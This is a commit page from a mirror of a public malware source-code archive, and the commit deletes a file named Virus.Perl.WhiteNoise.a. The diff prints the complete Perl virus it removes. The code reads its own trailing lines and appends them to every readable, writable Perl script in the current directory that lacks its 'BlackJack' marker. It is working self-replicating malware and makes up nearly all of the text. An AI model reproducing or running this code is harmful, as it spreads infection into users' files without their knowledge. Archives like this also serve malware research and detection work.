ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 17:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Virus.Perl.WhiteNoise.a

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 01:41:00 -06:00 committed by GitHub
parent d22995b95e
commit ace9e7415a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 23 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
Perl/Virus.Perl.WhiteNoise.a
View File

@ -1,23 +0,0 @@
open(File,$0);
@Vir=<File>;
#BlackJack
@Virus=@Vir[-23...-1];
close(File);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(fuck, "$FileName");
@aFucks=<fuck>;
close(fuck);
if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
{
if ( not (@aFucks[-21] =~ "BlackJack"))
{
open(fuck, ">>$FileName");
print fuck @Virus;
close(fuck);
}
}
}
}